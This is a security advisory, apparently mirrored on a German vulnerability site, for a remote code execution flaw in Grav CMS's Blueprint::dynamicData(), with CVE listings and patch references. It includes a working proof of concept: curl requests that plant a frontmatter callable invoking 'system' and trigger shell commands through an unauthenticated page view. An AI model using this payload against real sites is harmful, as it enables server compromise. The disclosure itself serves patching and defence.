Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
### Summary An account with the `admin.pages` permission (or `api.pages.write`) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page. ### Details `Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes a `Class::method` string and its arguments straight to `call_user_func_array()` with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. `Grav\Common\Utils::arrayFilterRecursive($source,$fn)` (system/src/Grav/Common/Utils.php:1169) is a public static that calls `$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key runs the command. ### PoC Placeholders: `<BASE_URL>` the site; `<SESSION_COOKIE>` an admin session cookie for an account with `admin.pages`; `<ADMIN_NONCE>` the `admin-nonce` on any admin page (`window.GravAdmin.config.admin_nonce`). Save a "form" page whose field carries the callable directive: curl '<BASE_URL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSION_COOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system" Trigger it as an unauthenticated visitor: curl '<BASE_URL>/rcepoc' Success check: the GET response body begins with `GRAV-RCE-OK` followed by the web-server user's `id` output (a line starting `uid=...`) — the command ran during the unauthenticated request and its output is reflected in the response. ### Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of `admin.pages` or `api.pages.write`. Trust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.
beschreibt (2)
Zugehörige CVEs.
| ID | Schweregrad | ausnutzbar | ||
|---|---|---|---|---|
| CVE-2026-64850US | — | — | ||
Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and… | ||||
| CVE-2026-65008US | — | Exploit | ||
Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method cal… | ||||
Referenzen
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/getgrav/gravPACKAGE
- https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33cWEB
- https://github.com/getgrav/grav/releases/tag/2.0.7WEB
- https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-64850ADVISORY
Advisories wie diese benennen die exponierten Produkte, die Angreifer auf Ihrer Angriffsfläche ins Visier nehmen. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan